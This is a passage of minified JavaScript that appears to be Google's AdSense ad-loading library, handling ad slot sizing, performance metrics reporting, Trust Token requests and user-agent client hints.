yn(){this.h=null;this.j=!1;this.l=Math.random();this.i=this.I;this.m=null}n=yn.prototype;n.Ta=function(a){this.h=a};n.Va=function(a){this.j=a};n.Ua=function(a){this.i=a}; n.I=function(a,b,c,d,e){if((this.j?this.l:Math.random())>(void 0===c?.01:c))return!1;Rh(b)||(b=new Qh(b,{context:a,id:void 0===e?"jserror":e}));if(d||this.h)b.meta={},this.h&&this.h(b.meta),d&&d(b.meta);w.google_js_errors=w.google_js_errors||[];w.google_js_errors.push(b);if(!w.error_rep_loaded){a=nd(xn);var f;Lc(w.document,null!=(f=this.m)?f:hc(qc(a).toString()));w.error_rep_loaded=!0}return!1};n.oa=function(a,b,c){try{return b()}catch(d){if(!this.i(a,d,.01,c,"jserror"))throw d;}}; n.Oa=function(a,b){var c=this;return function(){var d=ta.apply(0,arguments);return c.oa(a,function(){return b.apply(void 0,d)})}};n.Pa=function(a,b){var c=this;b.catch(function(d){d=d?d:"unknown rejection";c.I(a,d instanceof Error?d:Error(d))})};function zn(a,b,c){var d=window;return function(){var e=Yh(),f=3;try{var g=b.apply(this,arguments)}catch(h){f=13;if(c)return c(a,h),g;throw h;}finally{d.google_measure_js_timing&&e&&(e={label:a.toString(),value:e,duration:(Yh()||0)-e,type:f},f=d.google_js_reporting_queue=d.google_js_reporting_queue||[],2048>f.length&&f.push(e))}return g}}function An(a,b){return zn(a,b,function(c,d){(new yn).I(c,d)})};function Bn(a,b){return null==b?"&"+a+"=null":"&"+a+"="+Math.floor(b)}function Cn(a,b){return"&"+a+"="+b.toFixed(3)}function Dn(){var a=new p.Set,b=aj();try{if(!b)return a;for(var c=b.pubads(),d=u(c.getSlots()),e=d.next();!e.done;e=d.next())a.add(e.value.getSlotId().getDomId())}catch(f){}return a}function En(a){a=a.id;return null!=a&&(Dn().has(a)||r(a,"startsWith").call(a,"google_ads_iframe_")||r(a,"startsWith").call(a,"aswift"))} function Fn(a,b,c){if(!a.sources)return!1;switch(Gn(a)){case 2:var d=Hn(a);if(d)return c.some(function(f){return In(d,f)});case 1:var e=Jn(a);if(e)return b.some(function(f){return In(e,f)})}return!1}function Gn(a){if(!a.sources)return 0;a=a.sources.filter(function(b){return b.previousRect&&b.currentRect});if(1<=a.length){a=a[0];if(a.previousRect.top<a.currentRect.top)return 2;if(a.previousRect.top>a.currentRect.top)return 1}return 0}function Jn(a){return Kn(a,function(b){return b.currentRect})} function Hn(a){return Kn(a,function(b){return b.previousRect})}function Kn(a,b){return a.sources.reduce(function(c,d){d=b(d);return c?d&&0!==d.width*d.height?d.top<c.top?d:c:c:d},null)} function Ln(){Mj.call(this);this.i=this.h=this.P=this.O=this.H=0;this.Ba=this.ya=Number.NEGATIVE_INFINITY;this.ua=this.wa=this.xa=this.za=this.Ea=this.m=this.Da=this.U=0;this.va=!1;this.R=this.N=this.C=0;var a=document.querySelector("[data-google-query-id]");this.Ca=a?a.getAttribute("data-google-query-id"):null;this.l=null;this.Aa=!1;this.ga=function(){}}v(Ln,Mj); function Mn(){var a=new Ln;if(P(of)){var b=window;if(!b.google_plmetrics&&window.PerformanceObserver){b.google_plmetrics=!0;b=u(["layout-shift","largest-contentful-paint","first-input","longtask"]);for(var c=b.next();!c.done;c=b.next())c=c.value,Nn(a).observe({type:c,buffered:!0});On(a)}}} function Nn(a){a.l||(a.l=new PerformanceObserver(An(640,function(b){var c=Pn!==window.scrollX||Qn!==window.scrollY?[]:Rn,d=Sn();b=u(b.getEntries());for(var e=b.next();!e.done;e=b.next())switch(e=e.value,e.entryType){case "layout-shift":var f=a;if(!e.hadRecentInput){f.H+=Number(e.value);Number(e.value)>f.O&&(f.O=Number(e.value));f.P+=1;var g=Fn(e,c,d);g&&(f.m+=e.value,f.za++);if(5E3<e.startTime-f.ya||1E3<e.startTime-f.Ba)f.ya=e.startTime,f.h=0,f.i=0;f.Ba=e.startTime;f.h+=e.value;g&&(f.i+=e.value); f.h>f.U&&(f.U=f.h,f.Ea=f.i,f.Da=e.startTime+e.duration)}break;case "largest-contentful-paint":a.xa=Math.floor(e.renderTime||e.loadTime);a.wa=e.size;break;case "first-input":a.ua=Number((e.processingStart-e.startTime).toFixed(3));a.va=!0;break;case "longtask":e=Math.max(0,e.duration-50),a.C+=e,a.N=Math.max(a.N,e),a.R+=1}})));return a.l} function On(a){var b=An(641,function(){var d=document;2==(d.prerendering?3:{visible:1,hidden:2,prerender:3,preview:4,unloaded:5}[d.visibilityState||d.webkitVisibilityState||d.mozVisibilityState||""]||0)&&Tn(a)}),c=An(641,function(){return void Tn(a)});document.addEventListener("visibilitychange",b);document.addEventListener("unload",c);a.ga=function(){document.removeEventListener("visibilitychange",b);document.removeEventListener("unload",c);Nn(a).disconnect()}} Ln.prototype.j=function(){Mj.prototype.j.call(this);this.ga()}; function Tn(a){if(!a.Aa){a.Aa=!0;Nn(a).takeRecords();var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=plmetrics";window.LayoutShift&&(b+=Cn("cls",a.H),b+=Cn("mls",a.O),b+=Bn("nls",a.P),window.LayoutShiftAttribution&&(b+=Cn("cas",a.m),b+=Bn("nas",a.za)),b+=Cn("wls",a.U),b+=Cn("tls",a.Da),window.LayoutShiftAttribution&&(b+=Cn("was",a.Ea)));window.LargestContentfulPaint&&(b+=Bn("lcp",a.xa),b+=Bn("lcps",a.wa));window.PerformanceEventTiming&&a.va&&(b+=Bn("fid",a.ua));window.PerformanceLongTaskTiming&& (b+=Bn("cbt",a.C),b+=Bn("mbt",a.N),b+=Bn("nlt",a.R));for(var c=0,d=u(document.getElementsByTagName("iframe")),e=d.next();!e.done;e=d.next())En(e.value)&&c++;b+=Bn("nif",c);b+=Bn("ifi",pd(window));c=O(Oh).h();b+="&eid="+encodeURIComponent(c.join());b+="&top="+(w===w.top?1:0);b+=a.Ca?"&qqid="+encodeURIComponent(a.Ca):Bn("pvsid",fd(w));window.googletag&&(b+="&gpt=1");window.fetch(b,{keepalive:!0,credentials:"include",redirect:"follow",method:"get",mode:"no-cors"});a.A||(a.A=!0,a.j())}} function In(a,b){var c=Math.min(a.right,b.right)-Math.max(a.left,b.left);a=Math.min(a.bottom,b.bottom)-Math.max(a.top,b.top);return 0>=c||0>=a?!1:50<=100*c*a/((b.right-b.left)*(b.bottom-b.top))} function Sn(){var a=[].concat(ka(document.getElementsByTagName("iframe"))).filter(En),b=[].concat(ka(Dn())).map(function(c){return document.getElementById(c)}).filter(function(c){return null!==c});Pn=window.scrollX;Qn=window.scrollY;return Rn=[].concat(ka(a),ka(b)).map(function(c){return c.getBoundingClientRect()})}var Pn=void 0,Qn=void 0,Rn=[];var X={issuerOrigin:"https://attestation.android.com",issuancePath:"/att/i",redemptionPath:"/att/r"},Y={issuerOrigin:"https://pagead2.googlesyndication.com",issuancePath:"/dtt/i",redemptionPath:"/dtt/r",getStatePath:"/dtt/s"};var Un=O(yf).h(wf.h,wf.defaultValue); function Vn(a,b,c){Mj.call(this);var d=this;this.i=a;this.h=[];b&&Wn()&&this.h.push(X);c&&this.h.push(Y);if(document.hasTrustToken&&!P(tf)){var e=new p.Map;this.h.forEach(function(f){e.set(f.issuerOrigin,{issuerOrigin:f.issuerOrigin,state:d.i?1:12,hasRedemptionRecord:!1})});window.goog_tt_state_map=window.goog_tt_state_map&&window.goog_tt_state_map instanceof p.Map?new p.Map([].concat(ka(e),ka(window.goog_tt_state_map))):e;window.goog_tt_promise_map&&window.goog_tt_promise_map instanceof p.Map||(window.goog_tt_promise_map= new p.Map)}}v(Vn,Mj);function Wn(){var a=void 0===a?window:a;a=a.navigator.userAgent;var b=/Chrome/.test(a);return/Android/.test(a)&&b}function Xn(){var a=void 0===a?window.document:a;ed(Un,a)}function Yn(a,b){return a||".google.ch"===b||"function"===typeof L.__tcfapi}function Z(a,b,c){var d,e=null==(d=window.goog_tt_state_map)?void 0:d.get(a);e&&(e.state=b,void 0!=c&&(e.hasRedemptionRecord=c))} function Zn(){var a=X.issuerOrigin+X.redemptionPath,b={keepalive:!0,trustToken:{type:"token-redemption",issuer:X.issuerOrigin,refreshPolicy:"none"}};Z(X.issuerOrigin,2);return window.fetch(a,b).then(function(c){if(!c.ok)throw Error(c.status+": Network response was not ok!");Z(X.issuerOrigin,6,!0)}).catch(function(c){c&&"NoModificationAllowedError"===c.name?Z(X.issuerOrigin,6,!0):Z(X.issuerOrigin,5)})} function $n(){var a=X.issuerOrigin+X.issuancePath;Z(X.issuerOrigin,8);return window.fetch(a,{keepalive:!0,trustToken:{type:"token-request"}}).then(function(b){if(!b.ok)throw Error(b.status+": Network response was not ok!");Z(X.issuerOrigin,10);return Zn()}).catch(function(b){if(b&&"NoModificationAllowedError"===b.name)return Z(X.issuerOrigin,10),Zn();Z(X.issuerOrigin,9)})}function ao(){Z(X.issuerOrigin,13);return document.hasTrustToken(X.issuerOrigin).then(function(a){return a?Zn():$n()})} function bo(){Z(Y.issuerOrigin,13);if(p.Promise){var a=document.hasTrustToken(Y.issuerOrigin).then(function(e){return e}).catch(function(e){return p.Promise.reject({state:19,error:e})}),b=Y.issuerOrigin+Y.redemptionPath,c={keepalive:!0,trustToken:{type:"token-redemption",refreshPolicy:"none"}};Z(Y.issuerOrigin,16);a=a.then(function(e){return window.fetch(b,c).then(function(f){if(!f.ok)throw Error(f.status+": Network response was not ok!");Z(Y.issuerOrigin,18,!0)}).catch(function(f){if(f&&"NoModificationAllowedError"=== f.name)Z(Y.issuerOrigin,18,!0);else{if(e)return p.Promise.reject({state:17,error:f});Z(Y.issuerOrigin,17)}})}).then(function(){return document.hasTrustToken(Y.issuerOrigin).then(function(e){return e}).catch(function(e){return p.Promise.reject({state:19,error:e})})}).then(function(e){var f=Y.issuerOrigin+Y.getStatePath;Z(Y.issuerOrigin,20);return window.fetch(f+"?ht="+e,{trustToken:{type:"send-redemption-record",issuers:[Y.issuerOrigin]}}).then(function(g){if(!g.ok)throw Error(g.status+": Network response was not ok!"); Z(Y.issuerOrigin,22);return g.text().then(function(h){return JSON.parse(h)})}).catch(function(g){return p.Promise.reject({state:21,error:g})})});var d=fd(window);return a.then(function(e){var f=Y.issuerOrigin+Y.issuancePath;return e&&e.srqt&&e.cs?(Z(Y.issuerOrigin,23),window.fetch(f+"?cs="+e.cs+"&correlator="+d,{keepalive:!0,trustToken:{type:"token-request"}}).then(function(g){if(!g.ok)throw Error(g.status+": Network response was not ok!");Z(Y.issuerOrigin,25);return e}).catch(function(g){return p.Promise.reject({state:24, error:g})})):e}).then(function(e){if(e&&e.srdt&&e.cs)return Z(Y.issuerOrigin,26),window.fetch(b+"?cs="+e.cs+"&correlator="+d,{keepalive:!0,trustToken:{type:"token-redemption",refreshPolicy:"refresh"}}).then(function(f){if(!f.ok)throw Error(f.status+": Network response was not ok!");Z(Y.issuerOrigin,28,!0)}).catch(function(f){return p.Promise.reject({state:27,error:f})})}).then(function(){Z(Y.issuerOrigin,29)}).catch(function(e){if(e instanceof Object&&e.hasOwnProperty("state")&&e.hasOwnProperty("error"))if("number"=== typeof e.state&&e.error instanceof Error){Z(Y.issuerOrigin,e.state);var f=Q(vf);Math.random()<=f&&Ff({state:e.state,err:e.error.toString()})}else throw Error(e);else throw e;})}} function co(a){if(document.hasTrustToken&&!P(tf)&&a.i){var b=window.goog_tt_promise_map;if(b&&b instanceof p.Map){var c=[];if(a.h.some(function(e){return e.issuerOrigin===X.issuerOrigin})){var d=b.get(X.issuerOrigin);d||(d=ao(),b.set(X.issuerOrigin,d));c.push(d)}a.h.some(function(e){return e.issuerOrigin===Y.issuerOrigin})&&(a=b.get(Y.issuerOrigin),a||(a=bo(),b.set(Y.issuerOrigin,a)),c.push(a));if(0<c.length&&p.Promise&&p.Promise.all)return p.Promise.all(c)}}};function eo(a){J.call(this,a,-1,fo)}v(eo,J);function go(a,b){return B(a,2,b)}function ho(a,b){return B(a,3,b)}function io(a,b){return B(a,4,b)}function jo(a,b){return B(a,5,b)}function ko(a,b){return B(a,9,b)}function lo(a,b){return Gb(a,10,b)}function mo(a,b){return B(a,11,b)}function no(a,b){return B(a,1,b)}function oo(a){J.call(this,a)}v(oo,J);oo.prototype.getVersion=function(){return I(this,2)};var fo=[10,6];var po="platform platformVersion architecture model uaFullVersion bitness fullVersionList wow64".split(" ");function qo(){var a;return null!=(a=L.google_tag_data)?a:L.google_tag_data={}} function ro(){var a,b;if("function"!==typeof(null==(a=L.navigator)?void 0:null==(b=a.userAgentData)?void 0:b.getHighEntropyValues))return null;var c=qo();if(c.uach_promise)return c.uach_promise;a=L.navigator.userAgentData.getHighEntropyValues(po).then(function(d){null!=c.uach||(c.uach=d);return d});return c.uach_promise=a} function so(a){var b;return mo(lo(ko(jo(io(ho(go(no(new eo,a.platform||""),a.platformVersion||""),a.architecture||""),a.model||""),a.uaFullVersion||""),a.bitness||""),(null==(b=a.fullVersionList)?void 0:b.map(function(c){var d=new oo;d=B(d,1,c.brand);return B(d,2,c.version)}))||[]),a.wow64||!1)} function to(){if(P(pf)){var a,b;return null!=(b=null==(a=ro())?void 0:a.then(function(f){return so(f)}))?b:null}var c,d;if("function"!==typeof(null==(c=L.navigator)?void 0:null==(d=c.userAgentData)?void 0:d.getHighEntropyValues))return null;var e;return null!=(e=L.navigator.userAgentData.getHighEntropyValues(po).then(function(f){return so(f)}))?e:null};function uo(a,b){b.google_ad_host||(a=vo(a))&&(b.google_ad_host=a)}function wo(a,b,c){c=void 0===c?"":c;L.google_sa_impl&&!L.document.getElementById("google_shimpl")&&(delete L.google_sa_queue,delete L.google_sa_impl);L.google_sa_queue||(L.google_sa_queue=[],L.google_process_slots=Xi(215,function(){return xo(L.google_sa_queue)}),a=yo(c,a,b),Lc(L.document,a).id="google_shimpl")} function xo(a){var b=a.shift();"function"===typeof b&&Wi(216,b);a.length&&w.setTimeout(Xi(215,function(){return xo(a)}),0)}function zo(a,b,c){a.google_sa_queue=a.google_sa_queue||[];a.google_sa_impl?c(b):a.google_sa_queue.push(b)} function yo(a,b,c){var d=Math.random()<Q(bf)?hc(qc(b.pb).toString()):null;b=D(c,4)?b.ob:b.qb;d=d?d:hc(qc(b).toString());b={};a:{if(D(c,4)){if(c=a||qn(L)){var e={};c=(e.client=c,e.plah=L.location.host,e);break a}throw Error("PublisherCodeNotFoundForAma");}c={}}Ao(c,b);a:{if(P($e)||P(Oe)){a=a||qn(L);var f;var g=(c=null==(g=U(L))?void 0:null==(f=g.head_tag_slot_vars)?void 0:f.google_ad_host)?c:vo(L);if(a){f={};g=(f.client=a,f.plah=L.location.host,f.ama_t="adsense",f.asntp=Q(Ge),f.asntpv=Q(Ke),f.asntpl= Q(Ie),f.asntpm=Q(Je),f.asntpc=Q(He),f.asna=Q(Ce),f.asnd=Q(De),f.asnp=Q(Ee),f.asns=Q(Fe),f.asmat=Q(Be),f.asptt=Q(Le),f.easpi=P($e),f.asro=P(Me),f.host=g,f.easai=P(Ze),f);break a}}g={}}Ao(g,b);Ao(zf()?{bust:zf()}:{},b);return ec(d,b)}function Ao(a,b){Sc(a,function(c,d){void 0===b[d]&&(b[d]=c)})}function vo(a){if(a=a.document.querySelector('meta[name="google-adsense-platform-account"]'))return a.getAttribute("content")} function Bo(a){a:{var b=void 0===b?!1:b;var c=void 0===c?1024:c;for(var d=[w.top],e=[],f=0,g;g=d[f++];){b&&!Hc(g)||e.push(g);try{if(g.frames)for(var h=0;h<g.frames.length&&d.length<c;++h)d.push(g.frames[h])}catch(l){}}for(b=0;b<e.length;b++)try{var k=e[b].frames.google_esf;if(k){id=k;break a}}catch(l){}id=null}if(id)return null;e=Mc("IFRAME");e.id="google_esf";e.name="google_esf";e.src=sc(a.vb);e.style.display="none";return e} function Co(a,b,c,d){Do(a,b,c,d,function(e,f){e=e.document;for(var g=void 0,h=0;!g||e.getElementById(g+"_anchor");)g="aswift_"+h++;e=g;g=Number(f.google_ad_width||0);f=Number(f.google_ad_height||0);h=Mc("INS");h.id=e+"_anchor";pm(h,g,f);h.style.display="block";var k=Mc("INS");k.id=e+"_expand";pm(k,g,f);k.style.display="inline-table";k.appendChild(h);c.appendChild(k);return e})} function Do(a,b,c,d,e){e=e(a,b);Eo(a,c,b);c=Ia;var f=(new Date).getTime();b.google_lrv=I(d,2);b.google_async_iframe_id=e;b.google_start_time=c;b.google_bpp=f>c?f-c:1;a.google_sv_map=a.google_sv_map||{};a.google_sv_map[e]=b;d=a.document.getElementById(e+"_anchor")?function(h){return h()}:function(h){return window.setTimeout(h,0)};var g={pubWin:a,vars:b};zo(a,function(){var h=a.google_sa_impl(g);h&&h.catch&&Zi(911,h)},d)} function Eo(a,b,c){var d=c.google_ad_output,e=c.google_ad_format,f=c.google_ad_width||0,g=c.google_ad_height||0;e||"html"!=d&&null!=d||(e=f+"x"+g);d=!c.google_ad_slot||c.google_override_format||!qm[c.google_ad_width+"x"+c.google_ad_height]&&"aa"==c.google_loader_used;e&&d?e=e.toLowerCase():e="";c.google_ad_format=e;if("number"!==typeof c.google_reactive_sra_index||!c.google_ad_unit_key){e=[c.google_ad_slot,c.google_orig_ad_format||c.google_ad_format,c.google_ad_type,c.google_orig_ad_width||c.google_ad_width, c.google_orig_ad_height||c.google_ad_height];d=[];f=0;for(g=b;g&&25>f;g=g.parentNode,++f)9===g.nodeType?d.push(""):d.push(g.id);(d=d.join())&&e.push(d);c.google_ad_unit_key=Tc(e.join(":")).toString();var h=void 0===h?!1:h;e=[];for(d=0;b&&25>d;++d){f="";void 0!==h&&h||(f=(f=9!==b.nodeType&&b.id)?"/"+f:"");a:{if(b&&b.nodeName&&b.parentElement){g=b.nodeName.toString().toLowerCase();for(var k=b.parentElement.childNodes,l=0,m=0;m<k.length;++m){var q=k[m];if(q.nodeName&&q.nodeName.toString().toLowerCase()=== g){if(b===q){g="."+l;break a}++l}}}g=""}e.push((b.nodeName&&b.nodeName.toString().toLowerCase())+f+g);b=b.parentElement}h=e.join()+":";b=[];if(a)try{var t=a.parent;for(e=0;t&&t!==a&&25>e;++e){var y=t.frames;for(d=0;d<y.length;++d)if(a===y[d]){b.push(d);break}a=t;t=a.parent}}catch(F){}c.google_ad_dom_fingerprint=Tc(h+b.join()).toString()}}function Fo(){var a=Ic(w);a&&(a=Uf(a),a.tagSpecificState[1]||(a.tagSpecificState[1]={debugCard:null,debugCardRequested:!1}))} function Go(a){Xn();Yn(Wk(),I(a,8))||Xi(779,function(){var b=window;b=void 0===b?window:b;b=P(b.PeriodicSyncManager?rf:sf);var c=P(uf);b=new Vn(!0,b,c);0<Q(xf)?L.google_trust_token_operation_promise=co(b):co(b)})();a=to();null!=a&&a.then(function(b){L.google_user_agent_client_hint=Lb(b)});wn();un()};function Ho(a,b){switch(a){case "google_reactive_ad_format":return a=parseInt(b,10),isNaN(a)?0:a;case "google_allow_expandable_ads":return/^true$/.test(b);default:return b}} function Io(a,b){if(a.getAttribute("src")){var c=a.getAttribute("src")||"";(c=Gc(c))&&(b.google_ad_client=Ho("google_ad_client",c))}a=a.attributes;c=a.length;for(var d=0;d<c;d++){var e=a[d];if(/data-/.test(e.name)){var f=Ja(e.name.replace("data-matched-content","google_content_recommendation").replace("data","google").replace(/-/g,"_"));b.hasOwnProperty(f)||(e=Ho(f,e.value),null!==e&&(b[f]=e))}}} function Jo(a){if(a=ld(a))switch(a.data&&a.data.autoFormat){case "rspv":return 13;case "mcrspv":return 15;default:return 14}else return 12} function Ko(a,b,c,d){Io(a,b);if(c.document&&c.document.body&&!Zm(c,b)&&!b.google_reactive_ad_format){var e=parseInt(a.style.width,10),f=cn(a,c);if(0<f&&e>f){var g=parseInt(a.style.height,10);e=!!qm[e+"x"+g];var h=f;if(e){var k=rm(f,g);if(k)h=k,b.google_ad_format=k+"x"+g+"_0ads_al";else throw new T("No slot size for availableWidth="+f);}b.google_ad_resize=!0;b.google_ad_width=h;e||(b.google_ad_format=null,b.google_override_format=!0);f=h;a.style.width=f+"px";g=Tm(f,"auto",c,a,b);h=f;g.size().i(c,b, a);Dm(g,h,b);g=g.size();b.google_responsive_formats=null;g.minWidth()>f&&!e&&(b.google_ad_width=g.minWidth(),a.style.width=g.minWidth()+"px")}}e=a.offsetWidth||xi(a,c,"width",K)||b.google_ad_width||0;f=Fa(Tm,e,"auto",c,a,b,!1,!0);if(!P(Xe)&&488>Wf(c)){g=Ic(c)||c;h=b.google_ad_client;d=g.location&&"#ftptohbh"===g.location.hash?2:yl(g.location,"google_responsive_slot_preview")||P(ef)?1:P(df)?2:Yk(g,1,h,d)?1:0;if(g=0!==d)b:if(b.google_reactive_ad_format||Zm(c,b)||mi(a,b))g=!1;else{for(g=a;g;g=g.parentElement){h= Nc(g,c);if(!h){b.gfwrnwer=18;g=!1;break b}if(!Xa(["static","relative"],h.position)){b.gfwrnwer=17;g=!1;break b}}g=qi(c,a,e,.3,b);!0!==g?(b.gfwrnwer=g,g=!1):g=c===c.top?!0:!1}g?(b.google_resizing_allowed=!0,b.ovlp=!0,2===d?(d={},Dm(f(),e,d),b.google_resizing_width=d.google_ad_width,b.google_resizing_height=d.google_ad_height,b.iaaso=!1):(b.google_ad_format="auto",b.iaaso=!0,b.armr=1),d=!0):d=!1}else d=!1;if(e=Zm(c,b))an(e,a,b,c,d);else{if(mi(a,b)){if(d=Nc(a,c))a.style.width=d.width,a.style.height= d.height,li(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;b.google_responsive_auto_format=Jo(c)}else li(a.style,b);c.location&&"#gfwmrp"==c.location.hash||12==b.google_responsive_auto_format&&"true"==b.google_full_width_responsive?an(10,a,b,c,!1):.01>Math.random()&&12===b.google_responsive_auto_format&&(a=ri(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b),!0!==a?(b.efwr=!1,b.gfwrnwer= a):b.efwr=!0)}};function Lo(a){this.j=new p.Set;this.u=md()||window;this.h=Q(ze);var b=0<this.h&&Rc()<1/this.h;this.A=(this.i=!!Hj(Dj(),30,b))?fd(this.u):0;this.m=this.i?qn(this.u):"";this.l=null!=a?a:new yg(100)}function Mo(){var a=O(Lo);var b=new qk;b=B(b,1,Vf(a.u).scrollWidth);b=B(b,2,Vf(a.u).scrollHeight);var c=new qk;c=B(c,1,Wf(a.u));c=B(c,2,Vf(a.u).clientHeight);var d=new sk;d=B(d,1,a.A);d=B(d,2,a.m);d=B(d,3,a.h);var e=new rk;b=Eb(e,2,b);b=Eb(b,1,c);b=Fb(d,4,tk,b);a.i&&!a.j.has(1)&&(a.j.add(1),ug(a.l,b))};function No(a){var b=window;var c=void 0===c?null:c;xc(b,"message",function(d){try{var e=JSON.parse(d.data)}catch(f){return}!e||"sc-cnf"!==e.googMsgType||c&&/[:|%3A]javascript\(/i.test(d.data)&&!c(e,d)||a(e,d)})};function Oo(a,b){b=void 0===b?500:b;Mj.call(this);this.i=a;this.ta=b;this.h=null;this.m={};this.l=null}v(Oo,Mj);Oo.prototype.j=function(){this.m={};this.l&&(yc(this.i,this.l),delete this.l);delete this.m;delete this.i;delete this.h;Mj.prototype.j.call(this)};function Po(a){Mj.call(this);this.h=a;this.i=null;this.l=!1}v(Po,Mj);var Qo=null,Ro=[],So=new p.Map,To=-1;function Uo(a){return Fi.test(a.className)&&"done"!=a.dataset.adsbygoogleStatus}function Vo(a,b,c){a.dataset.adsbygoogleStatus="done";Wo(a,b,c)} function Wo(a,b,c){var d=window;d.google_spfd||(d.google_spfd=Ko);var e=b.google_reactive_ads_config;e||Ko(a,b,d,c);uo(d,b);if(!Xo(a,b,d)){e||(d.google_lpabyc=ni(a,d)+xi(a,d,"height",K));if(e){e=e.page_level_pubvars||{};if(U(L).page_contains_reactive_tag&&!U(L).allow_second_reactive_tag){if(e.pltais){wl(!1);return}throw new T("Only one 'enable_page_level_ads' allowed per page.");}U(L).page_contains_reactive_tag=!0;wl(7===e.google_pgb_reactive)}b.google_unique_id=od(d);Sc(mn,function(f,g){b[g]=b[g]|| d[g]});b.google_loader_used="aa";b.google_reactive_tag_first=1===(U(L).first_tag_on_page||0);Wi(164,function(){Co(d,b,a,c)})}} function Xo(a,b,c){var d=b.google_reactive_ads_config,e="string"===typeof a.className&&RegExp("(\\W|^)adsbygoogle-noablate(\\W|$)").test(a.className),f=ul(c);if(f&&f.Fa&&"on"!=b.google_adtest&&!e){e=ni(a,c);var g=Vf(c).clientHeight;if(!f.qa||f.qa&&((0==g?null:e/g)||0)>=f.qa)return a.className+=" adsbygoogle-ablated-ad-slot",c=c.google_sv_map=c.google_sv_map||{},d=za(a),b.google_element_uid=d,c[b.google_element_uid]=b,a.setAttribute("google_element_uid",d),"slot"==f.tb&&(null!==Zc(a.getAttribute("width"))&& a.setAttribute("width",0),null!==Zc(a.getAttribute("height"))&&a.setAttribute("height",0),a.style.width="0px",a.style.height="0px"),!0}if((f=Nc(a,c))&&"none"==f.display&&!("on"==b.google_adtest||0<b.google_reactive_ad_format||d))return c.document.createComment&&a.appendChild(c.document.createComment("No ad requested because of display:none on the adsbygoogle tag")),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&&8!==b.google_reactive_ad_format|| !a?!1:(w.console&&w.console.warn("Adsbygoogle tag with data-reactive-ad-format="+b.google_reactive_ad_format+" is deprecated. Check out page-level ads at https://www.google.com/adsense"),!0)}function Yo(a){var b=document.getElementsByTagName("INS");for(var c=0,d=b[c];c<b.length;d=b[++c]){var e=d;if(Uo(e)&&"reserved"!=e.dataset.adsbygoogleStatus&&(!a||d.id==a))return d}return null} function Zo(a,b,c){if(a&&a.shift)for(var d=20;0<a.length&&0<d;){try{$o(a.shift(),b,c)}catch(e){setTimeout(function(){throw e;})}--d}}function ap(){var a=Mc("INS");a.className="adsbygoogle";a.className+=" adsbygoogle-noablate";bd(a);return a} function bp(a,b){var c={};Sc(Rf,function(f,g){!1===a.enable_page_level_ads?c[g]=!1:a.hasOwnProperty(g)&&(c[g]=a[g])});ya(a.enable_page_level_ads)&&(c.page_level_pubvars=a.enable_page_level_ads);var d=ap();hd.body.appendChild(d);var e={};e=(e.google_reactive_ads_config=c,e.google_ad_client=a.google_ad_client,e);e.google_pause_ad_requests=!!U(L).pause_ad_requests;Vo(d,e,b)} function cp(a,b){function c(){return bp(a,b)}Uf(w).wasPlaTagProcessed=!0;var d=w.document;if(d.body||"complete"==d.readyState||"interactive"==d.readyState)c();else{var e=wc(Xi(191,c));xc(d,"DOMContentLoaded",e);(new w.MutationObserver(function(f,g){d.body&&(e(),g.disconnect())})).observe(d,{childList:!0,subtree:!0})}} function $o(a,b,c){var d={};Wi(165,function(){dp(a,d,b,c)},function(e){e.client=e.client||d.google_ad_client||a.google_ad_client;e.slotname=e.slotname||d.google_ad_slot;e.tag_origin=e.tag_origin||d.google_tag_origin})}function ep(a){delete a.google_checked_head;Sc(a,function(b,c){Ei[c]||(delete a[c],w.console.warn("AdSense head tag doesn't support "+c.replace("google","data").replace(/_/g,"-")+" attribute."))})} function fp(a,b){var c=L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js?client="]:not([data-checked-head])')||L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js"][data-ad-client]:not([data-checked-head])');if(c){c.setAttribute("data-checked-head","true");var d=U(window);if(d.head_tag_slot_vars)gp(c);else{var e={};Io(c,e);ep(e);var f=$b(e);d.head_tag_slot_vars=f;c={google_ad_client:e.google_ad_client,enable_page_level_ads:e};L.adsbygoogle||(L.adsbygoogle=[]);d=L.adsbygoogle; d.loaded?d.push(c):d.splice(0,0,c);var g;e.google_adbreak_test||(null==(g=Ib(b,Fk,13,Uk))?0:D(g,3))&&P(jf)?hp(f,a):No(function(){hp(f,a)})}}}function gp(a){var b=U(window).head_tag_slot_vars,c=a.getAttribute("src")||"";if((a=Gc(c)||a.getAttribute("data-ad-client")||"")&&a!==b.google_ad_client)throw new T("Warning: Do not add multiple property codes with AdSense tag to avoid seeing unexpected behavior. These codes were found on the page "+a+", "+b.google_ad_client);} function ip(a){if("object"===typeof a&&null!=a){if("string"===typeof a.type)return 2;if("string"===typeof a.sound||"string"===typeof a.preloadAdBreaks)return 3}return 0} function dp(a,b,c,d){if(null==a)throw new T("push() called with no parameters.");14===Cb(d,Uk)&&jp(a,wb(Tk(d),1),I(d,2));var e=ip(a);if(0!==e)P(af)&&(d=xl(),d.first_slotcar_request_processing_time||(d.first_slotcar_request_processing_time=Date.now(),d.adsbygoogle_execution_start_time=Ia)),null==Qo?(kp(a),Ro.push(a)):3===e?Wi(787,function(){Qo.handleAdConfig(a)}):Zi(730,Qo.handleAdBreak(a));else{Ia=(new Date).getTime();wo(c,d,lp(a));mp();a:{if(void 0!=a.enable_page_level_ads){if("string"===typeof a.google_ad_client){e= !0;break a}throw new T("'google_ad_client' is missing from the tag config.");}e=!1}if(e)np(a,d);else if((e=a.params)&&Sc(e,function(g,h){b[h]=g}),"js"===b.google_ad_output)console.warn("Ads with google_ad_output='js' have been deprecated and no longer work. Contact your AdSense account manager or switch to standard AdSense ads.");else{e=op(a.element);Io(e,b);c=U(w).head_tag_slot_vars||{};Sc(c,function(g,h){b.hasOwnProperty(h)||(b[h]=g)});if(e.hasAttribute("data-require-head")&&!U(w).head_tag_slot_vars)throw new T("AdSense head tag is missing. AdSense body tags don't work without the head tag. You can copy the head tag from your account on https://adsense.com."); if(!b.google_ad_client)throw new T("Ad client is missing from the slot.");b.google_apsail=dl(b.google_ad_client);var 